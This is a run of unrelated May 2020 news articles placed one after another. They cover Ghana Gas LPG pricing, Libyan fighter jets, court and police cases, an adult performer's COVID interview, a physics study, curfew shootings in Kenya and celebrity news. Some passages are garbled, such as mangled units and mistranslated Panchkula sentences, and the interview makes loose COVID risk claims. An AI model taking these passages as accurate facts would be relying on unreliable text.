However, in an official statement, signed by Mr Ernest Ko Owusu-Bempah Bonsu, Head, Corporate Communications of Ghana Gas Company, and copied to the Ghana News Agency, on Friday, said as a leading producer and marketer of domestic LPG, the Company had always ensured that the quality of LPG and the standards for quality determination were in alignment with both local and international standards.



"LPG produced from the Atuabo Gas Plant is from a rich and sweet feedstock with negligible or trace amounts of undesirable compounds, the statement emphasised.



It explained that LPG was a gas mixture mainly made up of Propane and Butane, adding that, the presence of propane in LPG amongst many other constituents, contributed to the vapour pressure, density and the caloric value.



The average vapour pressure of the Ghana Gas LPG over the last six months, it said, was 7.46kg/cmz, which was well below the 9.5kg/c1n2, required by the Ghana Standards Authority.



It is instructive to note that the lower vapour pressure reflects a stable product with low volatility, " it said.



"We have consistently marketed LPG of exceptional performance and of the highest quality whilst ensuring that the propane content is always within the acceptable specications of the Ghana Standards Authority (GSA) and National Petroleum Authority (NPA) requirements".



It said due to the natural odorless and colourless nature of LPG, an odorant was added to it to enable its detection whenever there was a leakage or fugitive emission.



Thus an odorant is only added as a safety measure, it explained.



Touching on the LPG pricing, the statement said the mechanism for LPG produced by the Ghana Gas at the Atuabo Gas Processing Plant was derived from the National Petroleum Authoritys (NPAS) bi-weekly market driven Argus Butane ARA/UK large cargo price index.



This, it said, provided the guideline for the commodity portion of imported LPG, adding that the non-commodity charges were outside the Company's domain.



The Bi-Weekly pricing comprises two pricing windows for each month. The first pricing window for any current month references the Argus Butane CIF ARA cargoes price assessment for the period between the 12th and 26th of the previous month.



The second pricing window references the Argus Butane CIF ARA cargoes price assessment from 27th of the previous to the 11th of the current month, it said.



The statement said the Company was mindful of its strategic role and impact on the downstream LPG market, adding that, Unlike other suppliers of LPG who add the producer's premium to the benchmark pricing, the Management of Ghana Gas, as a matter of responsiveness to the Ghanaian consumers, decided not to add premium on the benchmark FOB price.









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Four fighter jets back in service under Haftar in Libya To be used in battle against Tripoli government

(ANSAmed) - TUNIS, MAY 22 - Ahmed al Mismari, spokesman for the self-proclaimed Libyan National Army (LNA) under General Khalifa Haftar, announced Friday on its Facebook page that four LNA fighter jets had been repaired after a lengthy period of being out of service. The planes will be used in the LNA's continuing fight against the Government of National Accord (GNA) in Tripoli, which was set up in 2015 under a UN-led political deal and which has seen several recent gains against Haftar's forces. Mismari announced that airstrikes would soon be carried out against ''Erdogan's militias'' and urged the population not to leave their homes. Support from Turkey under President Recep Tayyip Erdogan has played a key role in the recent gains against Haftar's forces, which in turn have long been backed by Russia, Egypt, the UAE and other foreign powers. (ANSAmed).




RACINE  A Kenosha County judge will now preside over the open records court case brought by former City of Racine alderman Sandy Weidner, according to court documents.

Kenosha County Circuit Court Judge Chad G. Kerkman was assigned to the case Thursday. The case, which has raised concerns statewide regarding transparency and public access to information, had been assigned to three separate Racine County judges before it was assigned to Kerkman.

The first request to substitute was made Weidner in April after the Wisconsin Court of Appeals ruled that an amended petition Weidner filed in February 2018, previously rejected by Racine County Circuit Court Judge Gasiorkiewicz, should have been allowed. Gasiorkiewicz presided over the case since it was initially filed Nov. 29, 2017.

Weidner said that she asked for a different judge after the Court of Appeals ruling because she felt that Gasiorkiewicz has a reputation for being the citys go-to judge.

The case was then assigned to Racine Circuit Court Judge Michael Piontek on April 30. On May 4, another request on the citys behalf asked for another substitution. Attorney Michael Cohen, who represents the City of Racine in the case, said that the substitution request was made because the City of Racine had the right to file it.

The case was then sent to Racine County Circuit Court Judge Maureen Martinez on May 5. On Wednesday, the order for an out-of-county judge was made after it was determined that Martinez knows or has familiarity with the parties, the court record states.

No future hearing date had been set as of Thursday, online court records show.

Origins

The civil suit stems from a closed-session meeting in fall 2017, during which Racine City Attorney Scott Letteney showed City Council members a collection of emails that Weidner and two other aldermen had sent to constituents that Letteney thought violated attorney-client privilege.

The emails included correspondence about everything from the citys Redevelopment Authority to a case involving a bars liquor license. It also included an email sent to a former Journal Times reporter about scheduling for a public meeting, a PowerPoint presentation reportedly given at a public meeting and details about development projects, including the abandoned arena project.

Letteney said he was going to send the emails to the citys Ethics Board for review. When Weidner requested a copy of the emails, she was denied. She filed a lawsuit shortly after demanding the records.

Gasiorkiewicz sealed case details from public view, something he said was requested by Cohen on behalf of the City before the first hearing.

Weidner spoke to the news media in August 2018 about the case. Due to the cases seal, she was found guilty of civil contempt of court. Weidners attorneys filed a challenge to unseal the case, as well as to the contempt of court conviction, with the Court of Appeals.

In January 2019, the majority of the documents in Weidners open-records case were made public  with some redaction.

As of May 1, the City of Racine had already spent more than $129,000 to litigate the open records court case brought by Weidner.

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A Divisional Police Officer (DPO) of Ilemba Hausa Division, Ajamgbadi, Lagos State, Mr. Yahaya Adesina, a Chief Superintendent (CSP), has been arrested and detained at the State Criminal Investigation Department (SCID) for allegedly murdering a sergeant in his division.

Until his death two weeks ago, the deceased sergeant, Mr. Onalaja Onajide, was attached to Ilemba Hausa Division as a station guard.

The DPO had blamed his death on an alleged attack by two dismissed soldiers, Mr. Kehinde Elijah and Mr. Eze Joseph, who have since been arrested.



The sergeants bereaved family, however, had said they were told on good authority that the DPO shot him in cold blood.

Following the furore his death generated, Lagos State Commissioner of Police, Mr. Hakeem Odumosu, yesterday ordered that the case be transferred to SCID for investigation.

He also ordered the arrest and detention of the DPO, while an investigation is ongoing, including the retrieval of his rifle for forensic examination.

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GayVN caught up with some talent in front of and behind the camera to see how they were handling the time off during the COVID-19 pandemicand what they see ahead for their industry and community. In this installment, we talk with GayVN Award nominee Dallas Steele.

BJ: Where are you right now? In general, how do you think the people in your area are exhibiting safe behaviors?

DS: Short of prison, Palm Springs is about as locked down as it can get. Everything is deserted. People are clearly staying home in mass numbers. It was among the first cities in the country to issue a shelter-in-place order. They are even trying to discourage us from walking our neighborhoods and hiking our trails by blocking all the parking at trailheads with no parking signs. If you read the local Facebook groups, the level of fear and paranoia is off the charts, with people even scared to go out into their yards. Particularly irritating are the people who feel its now their job to be the social distancing police, calling 911, wasting resources to report they saw their neighbor walking by alone on the street not wearing a mask. I frequently say, You do you. Ill do me.

How have you personally been adjusting during COVID-19? How has life changed for you and your loved ones? What have been the biggest adjustments?

One of my partners (I have two) works from home, the other is a grocery store worker; and of course, doing porn and escorting, my job is home-based as well. Because boy Steele works around hundreds if not thousands of people each day, were also exposed to the same number of people. It is what it is. We decided from the start we were not going to isolate him, or from him, and weve held to that. We are staying at home for the most part. I still walk or run the neighborhood an hour each day. We still go hiking in the mountains above Palm Springs on weekends. All of that is in the open air with few, if any, people around.

What has been the hardest thing for you, and what do you miss the most?

I miss the gym the most. In the last 27 years, I had missed a total of 52 days, now were up to almost 120though one could argue working out at home is the gym. I love my new machine, but it still is not like my gym or working at the same level as with my trainer. After the gym, Id say I miss Happy Hour every Friday with my friends. Pool parties with my friends. Miss going out to dinner two to three times per week. And I sure do miss traveling.

How have you had to adjust your exercise routine? How creative have you had to get?

It has totally altered everything. I competed in Classic Physique in December, took the first couple weeks of January off to recover, and had only been back at it at the gym for about six weeks when all this started. My first day back with my trainer was the day they ordered the gyms be closed.

We started off at home with just our rubber resistance bands and two sets of dumbbells. I thought this would last two weeks, maybe three, but then when our governor ordered bars and restaurants be closed, I realized wed need a full-size gym station. I quickly ordered a Bowflex machine from Amazon. It took about seven days to arriveand $700 laterbut it was well worth it. We use the Bowflex every day, and then once per week we visit a friends very well-equipped home gym that hes renting out to people for $60 an hour to use alone or with those they live with. The home workouts are not optimal, but theyre much better than nothing.

When do you think the porn industry can get back to creating content, and how will this affect how things are done in the near-term and longer-term? (testing, travel, etc.)

If youve chosen to do porn, there is an inherent risk. If you do construction, you know you might be killed by a falling beam. I think most guys who do movies have accepted there is always the risk of HIV and other STDs, and arent terribly panicked about COVID-19. I may be wrong, but most of the other porn stars Im friends with are ready to go back to work any time. Looking forward, I cant imagine how studios would possibly test for this. Given the current cost of testing, it would seem an onerous requirement to impose on an already challenged business.

I know Ill be scorned for saying this, but I can think of 20 things more likely to kill me before COVID. Were a country of 327 million people. In the U.S., 1.45 million people are positive, 90,000 have died. Its horrific. It's awful. Someone loved each of those people, and all of them had an impact in this world somehow. Palm Springs is pretty isolated from the crisis. Nine weeks in, I still dont know a single person sick or even infected, not to say that all of us aren't concerned about those in our community who are elderly or immune compromised.

But if you're asking about my own personal risk level, Im okay with the odds. And quite frankly, Ive lived a very full life, maybe two or three lives. If its time for me to go, then Im good with that, Im good with God, and I know where Im going. I hear people say How selfish or What if one of those dying was your mom or dad? Everyone in my family is already dead. But if my dad were alive, Im 100% confident hed have the same outlook I do. Yes, we as a country mourn all of those who have died, but the great majority of us will not become sick, will not have anything more than mild symptoms according to Dr. Fauci.

As concerned as I am about COVID, I'm even more concerned about what happens when more than 40 million Americans are out of work and the human suffering that's going to mean in terms job loss, home loss, businesses folding, domestic violence, suicide, murder and crime in general. The people making the argument to open up America should not be diminished to "just wanting to have a beer at the bar." These are people fighting to hang on to the family home they've worked their lives for. Fighting to keep a roof over their children's heads. Struggling to afford the cost of caring for an elderly relative in a rest home. We can make compelling arguments to stay home, and we can make equally meaningful statements about why we should reopen our country. Good men can and will disagree. But it's clear both paths will involve considerable human suffering no matter what we do.

How can performers on platforms like JustFor.Fans and OnlyFans get creative during this time and still provide new content?

I think this is a great opportunity to get creative with solo JO videos, dildo play, fuck machines, electricity play or maybe something as simple as changing the setting where you do all of this. If its warm where you are, like Palm Springs in my case, go outside by the pool and do your video. Maybe use the hot tub. Shoot something with your partneror in my case, partners. I think we also forget that not all content has to be sex. Your fans will love a naked workout video or even you cooking or cleaning naked.

I was lucky in that I had foot surgery in February, so in preparation for this, I shot 12 commercial movies and nine OnlyFans/JustFor.Fans knowing Id be down awhile. I never knew that all that content would actually be used to carry me through this period. Thank you, God!

Secondly, there are plenty of guys out thereporn stars or notready to accept the risk of shooting something. I am not here to judge anyone for that. Everyone has to make their own decisions about how to protect themselves and others during this crisis.

Ive seen firsthand how many gay men on the hookup aps dont seem to care about social distancing and are more than ready to still hook up with a stranger. How do you feel about that, and what would you say to them?

I am not on any of the hook-up apps and never have been, so I cant really address that. But as I said above, Im not here to judge anyone. If you feel safe hooking up and accept the risk, then go for it. And yes, you can argue that two guys hooking up might infect each other, but thats their decision, isnt it? If I am at home in isolation, their decision isnt my business. And some will extrapolate suggesting that they could go to the store and infect others, but if youre at the store wearing a mask, practicing social distancing, the chances are pretty damn low. You are statistically 100 times more likely to die in an auto accident on the way to store than from COVID-19.

Realistically, how long do you think it will be until gay men can feel comfortable hooking up on the apps?

I think this is going to split. Probably half of gay men out there will be right back to business as soon as shelter-in-place orders are lifted; the other half is going to remain in fear for a much longer period. Much of how people view this crisis is framed by their politics, their spiritual relationship (if any), their experiences with death and dying, and with their general willingness to embrace the unknown. The media would have you believe that all Americans frame their views of this in the same way. They do not. From how the government is handling this down to the steps imposed to keep us safe, there are diverse views. If youre left wing, you think the government has failed and didnt do enough. If youre right wing, you believe the government has way overreacted in shutting down our economy. I would hope that people would use logic and reason to evaluate both claims and decide for themselves. But way too many people are content to let the media tell them what they should do, what they shouldnt do, and how they should think.

Talk about the importance of porn during this time for people, who need safe ways to get off, relieve stress. Now more than ever it seems porn is proving how much of a purpose it has.

If there was ever time that porn was important, its now. People are bored out of their minds. People are beyond stressed. Theyve got to have something to do, some kind of release. Masturbation provides all of that. If youve chosen to isolate and social distance, then watching your favorite movie is going to be one of your primary outlets. Even if youre partnered, it may be a primary outlet. And let me take this opportunity to remind people that if youre watching porn and not paying for it, thats called stealing. I would encourage people to support their favorite studio by subscribing directly to their website or visiting one of the many AEBN sites where studios get paid for the product. If you want to keep seeing top-quality porn, someone has to pay for it. If everyone is watching for free, eventually there will be no incentive to create new content.

What lessons about life should this pandemic be teaching us?

I would hope the lesson is to slow down and take time to care about each other. I know there is lots of speculation that this is Mother Nature telling us she needs a break or a lesson about overpopulation, etc. It could be all of those things. I do think this has been a very humbling, unifying experience. Rarely does the entire world experience something at once. The question will be whether all the bad stuff comes back when we get going again or will people really change how we do things in terms of climate change, international relations, politics, etc. Given human nature, I have my doubts about how changed people will be, but lets try to be optimistic.
Actor Nawazuddin Siddiqui plays a small-town writer who is struggling to get a break in Bollywood in his next "Ghoomketu" and he says the role reminded him of his own time as an aspiring actor in the film industry.

A National School of Drama graduate, the actor hailing from Uttar Pradesh's Budhana started working in films from 1999 in minor roles.

In 2012, the tide turned for him with films like "Kahaani" and "Gangs of Wasseypur" which put him in the mainstream cinema space.

His credits across films and web include "Badlapur", "Kick", "Bajrangi Bhaijaan", "Manto" and "Sacred Games".

"I had also come from a small town to Mumbai and I felt people here are 'to the point'. It took time for me to adjust. Mumbai is advanced, fast paced and for people like us, it takes time to get into this groove.

"One has to struggle a lot initially as I wasn't able to match the way things are here. The kind of struggle the writer has faced in the movie, I have also struggled a lot in the film industry as an actor. There are quite a few similarities between this character and my life," Nawazuddin told PTI in an interview.

The 46-year-old actor believes his upcoming film is about staying true to one's roots.

"It is ok to go to a city for a better life, but we must never forget our roots. This is what 'Ghoomketu' tells us. Lucky are those who realise and go back to their roots.

"When you go back to your home, you understand values, emotions, family, and a lot of other things," Nawazuddin, who is currently in Budhana, said.

As cinema halls remain closed due to the coronavirus pandemic, "Ghoomketu" is the first Bollywood film to release directly on an OTT platform.

Sony Pictures Networks and Phantom Films' movie will begin streaming from May 22 on ZEE5.

The actor said whether his films release on OTT or on the big screen it doesn't make a big difference to him.

"I don't think it matters for actors, it shouldn't. An actor's job is to play their role with utmost honesty and sincerity and then forget about it," he said.

"The time is such that one can't think about theatres. It is important to think about human lives now, their safety is more essential. If they are fit and safe, they will definitely go to the theatre. But as for now OTT is the best platform (for film)," he added.

Pushpendra Nath Mishra, who wrote and directed the Netflix series "Taj Mahal 1989", has directed "Ghoomketu".

The comedy-drama also stars Anurag Kashyap, Raghubir Yadav, Ila Arun, Swanand Kirkire, besides cameo appearances by Amitabh Bachchan, Ranveer Singh, Sonakshi Sinha, Chitrangda Singh and filmmaker Nikkhil Advani.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The special Prevention of Money Laundering Act (PMLA) court on Friday extended the custody of Dewan Housing Finance Limited (DHFL) promoters Dheeraj Wadhawan and Kapil Wadhawan to Enforcement Directorate (ED) till May 27 in connection with a money laundering case linked to YES Bank.

The brothers were arrested on May 14 and are since then in EDs custody. The agency sought the extension of their custody on the ground that the case involves voluminous documents and that the two brothers are not cooperating with the investigating team.

ED initiated proceedings against the Wadhawans based on a first information report (FIR) registered by the Central Bureau of Investigation (CBI) on March 7 against the two brothers and Yes Bank promoter Rana Kapoor, after which the DHFL promoters moved the Bombay high court seeking anticipatory bail. However, a single bench of justice Bharati Dangre had rejected their pleas stating, In view of the serious allegations of money laundering, with a deep-rooted conspiracy entered into by Wadhawans with several others, particularly YES Bank promoter Rana Kapoor and his family members, call for their custodial interrogation.

As per allegations made by the agency, YES Bank has invested 3,700 crore in DHFLs short-term non-convertible debentures between April and June 2018, for which Kapoor has received kickbacks worth 600 crore as loans to DoIT Urban Ventures (India) Private Limited. Kapoors daughters hold 100 stake in DoIT Urban Ventures Private Limited, while Morgan Credits is controlled by his wife.

The judge also said that only the applicants can throw light on the nature of transactions and the alleged that the conspiracy can be cracked only by interrogating them over the rolling of funds in the sister companies by deciphering their accounts.

The applicants will have to be confronted with various incriminating documents, with respect to the loans sanctioned in its favour by YES Bank, as well as those sanctioned by DHFL in favour of Kapoor, so as to unearth the multi-crore conspiracy, the judge observed.

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Martha Mary Rose, a native of Lincoln, Nebraska who enjoys writing and painting in her free time, has published her new book Pretty Kitty of the House: a sweet story for animal lovers of all ages.

Pretty Kitty of the House is a touching story about a shy five-year-old girl. A young woman was giving out kittens, and Ninas dad happened to get one for his precious little daughter.

The young five-year-old girl develops a close bond with her new furry friend and immediately names her Nite Nite. One day, Nite Nite goes missing. What happened to her? Will she ever come back? Its a very sad day for Nina, but she holds back her tears.

The author writes, My story has touched all of the children that have read my manuscript, and I hope you will like it as well.

Published by Page Publishing, Martha Mary Roses engrossing book is a delightful addition to any childrens library.

Readers who wish to experience this engaging work can purchase Pretty Kitty of the House at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble.

For additional information or media inquiries, contact Page Publishing at 866-315-2708.

About Page Publishing:

Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com.
Most technologies today rely on devices that transport energy in the form of light, radio, or mechanical waves. However, these wave-guiding channels are susceptible to disorder and damage, either in manufacturing or after they are deployed in harsh environments.

Researchers from the University of Illinois at Urbana-Champaign's Grainger College of Engineering have experimentally demonstrated a new way to transport energy even through wave-guides that are defective, and even if the disorder is a transient phenomenon in time. This work could lead to much more robust devices that continue to operate in spite of damage.

Gaurav Bahl, associate professor in mechanical science and engineering, and Taylor Hughes, physics professor, published their findings in Nature Communications. This important work was led by postdoctoral researcher Inbar Grinberg, also in mechanical science and engineering.

Their article, "Robust temporal pumping in a magneto-mechanical topological insulator," details the demonstration of a topological pump, a system that produces on-demand, robust transport of mechanical energy when it is periodically driven in time. The researchers built the topological pump using a one-dimensional magneto-mechanical artificial material, composed of springs, masses, and magnets.

The inspiration for the pump came from Nobel-prize winning physicist David Thouless' work from 1983, in which he proposed a scheme to achieve quantized transport of single particles, e.g. electrons, through a periodic potential, e.g. a chain of atoms. The underlying principle is to make gradual, periodic modulations to the structure of the chain as a function of time. At the completion of each period of the pumping cycle, a single particle must enter the chain on one end, and simultaneously a single particle must exit the other end of the chain. This reliably occurs even if the chain of atoms has some moderate amount of disorder.

This type of system is termed a pump because its technical description evokes a vision of an Archimedes Screw, a hand-cranked water pump with historical references dating back to ancient Egypt.

The Grainger researchers took Thouless' idea and implemented it into a mechanical topological pump. A notable distinction is that their pump transports mechanical energy, not particles or water, across the entire chain in one period of the pumping cycle. Moreover, the pump operates successfully even if the chain has significant amount of disorder in space or time. To complete the analogy to a water screw pump, the researchers powered their demonstration with a rotating crank shaft.

"Ultimately, we would like to extend this demonstration to produce similarly resilient wave-guides for light, sound, and electricity," explained Bahl. "The dream is to put a signal in on one end of a one-dimensional channel, and have guaranteed transport to the other end, in a robust fashion whenever the user wants it. We believe that topological pumps are a great way to do that."

Optical fiber and copper lines form the backbone of all our communication technologies. Presently, moderate damage along such communication channels - e.g. anything but complete disconnection - can reduce signal strength and even produce undesirable reflections, which adversely affect the amount of data that these channels can carry.

The research team believes that topological pumping could be a great solution in these scenarios.

###

Mao Lin, Wladimir A. Benalcazar, Christopher W. Peterson, and Cameron Harris were also collaborators on the article, which can be found in Nature Communications at https://www.nature.com/articles/s41467-020-14804-0.
- The clinical officer is fighting for his life at Tenwek Mission hospital after he was shot at by a police officer during curfew hours

- His family said the 31-year-old medic was an essential service provider who was returning home from his place of work

- Police officers attached to Cheborgei Police Station claimed the victim was roaming the area aimlessly during curfew hours

- However, the area OCPD said one of the officers tried to disperse the crowd by shooting in the air but a stray bullet hit the medic

- The clinical officers union demanded the culprit be identified and charged

The Kenyan Union of Clinical Officers (KUCO) on Thursday, May 21, denounced the harassment of health workers by police officers enforcing the dusk to dawn government curfew.

This was after a clinical officer was allegedly shot by a police officer while walking home from Cheborge shopping centre in Litein, Kericho county where he works in one of the hospital outlets.

READ ALSO: Truck driver who tested for COVID-19 at Malaba border receives positive results while in Kirinyaga

The Kenyan Union of Clinical Officers (KUCO) denounced the harassment of health workers by police officers enforcing curfew. Photo: Daily Nation.

Source: UGC

READ ALSO: Madagascar to sign confidentiality clause with WHO on COVID-Organics

The circumstances of the incident that occurred on the night of Wednesday, May 20, during the curfew imposed by the government to curb the spread of COVID-19 remained unclear.

"It's reported that he was about 200 meters away from home. He shouted for help and he was picked up and rushed to Litein hospital by family members," a statement from the union read.

" He was later transferred to Tenwek hospital where he was admitted and underwent surgery. He is currently in stable condition recuperating in the same hospital," it added.

READ ALSO: Eunuchoidism: Key roles played by aunties in identifying nephews with reproductive challenges

A police officer attached to Cheborgei Police Station claimed 31-year-old Hilary Kirui, an employee of Tenwek Hospital, was roaming the area aimlessly during curfew hours.

His family, however, said their son was an essential service provider who was returning home from his place of work.

Kirui was from his work station in the neighbouring Bomet county past 7pm when the officer shot him. He wasnt violating the curfew rule, said his sister, Sharon Cheptoo.

READ ALSO: Fighting coronavirus: Nairobi man volunteers to sanitise police stations

Hillary Kirui is fighting for his life at Tenwek Mission hospital after he was shot by a policeman during curfew hours. Photo: The Standard.

Source: UGC

The bullet is said to have hit the medic on the back of his right leg and exited on the front leaving a gushing wound.

Cheptoo said they rushed to the scene only to find Kirui writhing in pain and immediately rushed him to Litein Mission hospital before he was transferred to Tenwek Mission Hospital.

Bureti Officer Commanding Police Division (OCPD) Felicien Tengeye claimed the medic was hit by a stray bullet.

READ ALSO: Refugee making soap in Kakuma camp lowers price to make it affordable during pandemic

According to Tengeye, the officers were attempting to disperse a rowdy group of youth at Cheborgei centre who were defying police orders to go home as curfew hours had began.

"The officers were enforcing the curfew orders by patrolling the shopping centre when they came across rowdy youth who began hurling stones at them," he said.

The OCPD added one of the officers tried to disperse the crowd by shooting in the air but a stray bullet hit Kirui on the thigh of his right leg.

"The officer was also injured on his left leg after he was hit by a stone hurled by the youth," he added.

READ ALSO: Senator Isaac Mwaura says Jubilee Party died after Uhuru-Raila handshake

File photo of police enforcing a curfew. The officer attached to Cheborgei Police Station claimed Hilary Kirui was roaming the area aimlessly during curfew hours. Photo: Citizen TV.

Source: UGC

Tenwek Hospital Clinical Officers Union treasurer Vincent Kirui demanded the immediate arrest of the officer involved in the shooting.

"We also note that this is just but a case among many that have brought to the fore police brutality that has claimed many lives since the introduction of dusk to dawn curfew," said KUCO.

The union demanded the Independent Police Oversight Authority (IPOA), the Kenya Human Rights Commission and Kenya Police Service to make a public investigation to ensuring justice to the victim.

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In a desperate attempt to dodge jail time, a Florida teacher who pleaded guilty to sexually abusing students asked if the judge would order his castration instead.

Mark Lua, 32, is a former teacher and was accused of having sex with an underage girl, for sexually assaulting an 18-year-old former student and for trying to force a student to send him a sexually explicit video.

Last year, he pleaded guilty to unlawful sexual activity with a minor and for promoting a sexual performance by a child.

The Pensacola News Journal reported that rather than spend time in prison, Mr Lua asked First Circuit Judge Thomas Dannheisser to castrate him.

"My actions were despicable. I do believe that punishment is necessary, and I am requesting chemical castration not only as a punishment but as an act of solidarity to show how sorry I am for everything," Mr Lua said. "If your honor is so inclined, I am even willing to undergo physical castration if that way I can stay home and raise my daughter."

Recommended Man arrested for attempted rape of front line coronavirus nurse

Mr Lua's attempt at bargaining did not take hold, however, as Mr Dannheisser ignored the suggestion and sentenced him to 12 years in prison, with 15 years probation.

During his sentencing hearing, Mr Lua said he was suffering from genetic neurofibromatosis and accompanying tumors. He claimed that the tumors caused him to have panic attacks, and that he was suffering from those attacks at the time he was committing acts of sexual abuse.

Erin Ambrose, the prosecutor in the case, argued that Mr Lua's maladies didn't seem to stop him from assaulting people.

"This condition did not seem to debilitate him while he was trolling the halls, looking for students to have sex with," she said.

She painted Mr Lua as a predatory force in the school where he worked.

"He seemed to seek out girls that came from unstable or troubled homes," she said. "He manipulated them, and he betrayed them because he was a teacher.
Callaway has backed Harrisons strongest opponent, Amy Kennedy, of Brigantine, who also got the endorsement of the Atlantic City Democratic Committee, which has strong ties to Callaway.

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We are all in favor of election monitoring across the board in NJ 2 to make sure that all peoples rights to vote are protected in the middle of this pandemic, said Josh Roesch, campaign manager for Kennedy. What we wont stand for is Brigid preemptively trying to call into question results of an election she knows shes going to lose by using the same dog-whistle, racist tactics employed by Donald Trump to suppress the vote in minority communities and to scare and intimidate African-American voters.

The two are in a six-person race for the right to run against U.S. Rep. Jeff Van Drew, R-2nd, in November.

Kennedy also won the endorsement of Atlantic County Democrats at the groups convention in March.

Harrison, on the other hand, has been endorsed by six of the eight other county chairmen in the 2nd Congressional District and has the support of state Senate President Steve Sweeney, Assemblymen Vince Mazzeo and John Armato, D-Atlantic, and U.S. Sens. Cory Booker and Robert Menendez.
Source: Xinhua| 2020-05-22 23:04:43|Editor: huaxia

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BISHKEK, May 22 (Xinhua) -- China has proved to be a trustworthy partner during the COVID-19 pandemic, a Kyrgyz political expert told Xinhua on Friday, noting that China's Belt and Road Initiative (BRI) will play a role in helping reviving the global economy after the pandemic.

Noting that China was the first country in the world to face the COVID-19 outbreak, Aibolot Aidosov, director of the Public Foundation of the Kyrgyz Media Center, said China was able to localize the spread of the virus in less than three months.

"The countermeasures system, which was developed by Chinese experts during its fight against the epidemic, is now successfully applied in many countries of the world," he said.

The expert praised China as a reliable partner in fighting the pandemic. For example, Chinese doctors have visited dozens of countries in Asia, South America, Europe and the Commonwealth of Independent States to offer humanitarian aid and bring medical masks, medicines, and protective equipments, he said.

In addition, China also provided financial assistance to developing countries affected by the virus, Aidosov said.

Even when China itself was still in a difficult situation facing the epidemic, China has been "pursuing an open policy and is very willing to respond to challenges and trends that are gaining momentum in a pandemic," he said.

Noting that a pandemic has shown that international economic relations are vital to overcome global crises, the political analyst believed that the BRI, designed to boost global connectivity and trade, would gain new traction.

Kyrgyzstan "has always demonstrated its commitment to this project and its readiness for close cooperation. The world is waiting for new initiatives and projects after the pandemic, and this initiative (the BRI) will undoubtedly be one of the main ones," he said.

The expert also spoke highly of the Chinese government's continuous efforts to combat poverty, which have been recognized by the United Nations as a successful example of poverty eradication.

Praising the highly efficient organization and administration of the world's most populous nation to help its people achieve prosperity, even during the pandemic, Aidosov said "we see that China will consistently continue to work in this direction." Enditem
Hailey Bieber has insisted she has never had plastic surgery on her face and has begged people to stop using heavily edited pictures of her.

The 23-year-old took to Instagram on Thursday to condemn online trolls who recently accused her of changing her looks and took aim at a post which compared her face now and aged 13.

She said: 'Stop using pics that are edited by makeup artists,' as she insisted the heavily edited glamour shot is 'NOT what [she looks] like.'

'I've never touched my face': Hailey Bieber, 23, has slammed accusations that she has had plastic surgery and begged people to stop using heavily edited pictures of her

Throwback: A young Hailey pictured with Justin at his Justin Bieber Never Say Never film screening with her dad Stephen on February 2, 2011

'I've never touched my face so If you're gonna sit around and compare me at 13, and then me at 23, at least use a natural photo that wasn't edited so crazy,' concluded the wife of Justin Bieber.

Fans quickly came to Haileys defense and remarked on her natural beauty and her transparency when it comes to FaceTune and other editing tools.

Though Hailey appeared fired up in her Instagram response, she seemed to be in a much calmer mood when she returned to the popular social networking app to post a selfie.

In the portrait, Hailey suited up in her favorite tracksuit and posed on a couch located in the living area of her Los Angeles home.

Stunning: Though Hailey appeared fired up in her Instagram response, she seemed to be in a much calmer mood when she returned to the popular social networking app to post a selfie

She opted for a minimalistic makeup look and accessorized with a pair of glamorous gold earrings.

Her dirty blonde hair was neatly parted in the middle and tied back into a neat bun.

The daughter of Stephen Baldwin also shared a sweet snapshot of hubby Justin cuddling with their beloved dog Oscar beside her in bed.

Hailey returned from a lengthy lockdown in Canada with Justin on Wednesday afternoon.

So cute: The daughter of Stephen Baldwin also shared a sweet snapshot of hubby Justin cuddling with their beloved dog Oscar beside her in bed

The pair - who married in September of 2018 - were spotted touching down at Van Nuys airport and donned matching facial masks as they exited the jet.

Hailey and Justin recently opened up about the effect of quarantining on their mental health in a video posted to Instagram last Friday.

In the short clip, Hailey noted that she has often felt scared during these tumultuous times, but also has moments where she feels extremely motivated and hopeful for the future post COVID-19.

Bieber nodded his approval then added that some days he feels 'encouraged and that there is a light at the end of the tunnel.'

The couple crafted the thoughtful post for pal Kendall Jenner who 'nominated' them as part of a viral challenge that encourages celebrities to open up the conversation about mental health with their social media following.

Before coming back to Los Angeles on Wednesday, Justin and Hailey were enjoying a loved up lockdown at their mansion in Canada.

They documented a vast majority of their time in Canada on social media and, most recently, the couple began hosting their own Facebook Live show from home.
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Panchkula: In view of the increasing number of corona cases in Chandigarh, the Panchkula district administration has issued an order to be strict in checking under which it has been asked to stop the entry of frequent visitors from Chandigarh to Panchkula without any emergency work. He also asked to check the people coming from Chandigarh to Panchkula.

CoronavirusDC Mukesh Ahuja said that strict action should be taken against Panchkula frequent visitors from Chandigarh without any urgent work so that there would not be much crowd in Panchkula and they could prevent their district from getting infected.

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Some political parties are demanding lifting of the ban on movement of people in Rajiv Colony, Indira Colony and Budhanpur.

There is even pressure on district administration officials to do the same. However, the district administration has temporarily banned the frequent movement of people in these colonies so that conditions like Bapu Dham do not occur in these colonies.

Photo Frequent movement of people from these three areas has been banned by the district administration and police following the corona positive case in Rajiv Colony.

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A token wise system is being introduced by the district administration for the movement of people in Rajiv Colony Containment Zone.

The administration and the police have set up two permanent blocks for the agitation and tokens are being issued to the people there. Green tokens and red tokens have been issued at both the checkpoints.

CoronavirusThe important thing is that before issuing tokens from these checkpoints, people have to give full information about their intention to go out and when they will return, after which the pass is issued. Also, people have to submit their documents.

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The district administration would take strict action against the movement of people from Rajiv Colony, Indira Colony, Budhanpur areas for the next one week.

Only with the pass issued by the administration, the people be able to go out of the area for their essential work. Ten days are being issued daily by the district administration for the movement of more than one thousand people. These fall into the categories of Medical Emergency, Essential Services and Jobs.
Sanderson Farms, Inc. SAFM is scheduled to report second-quarter fiscal 2020 results on May 28. Notably, this Mississippi-based company has a trailing four-quarter negative earnings surprise of 29.4%, on average.



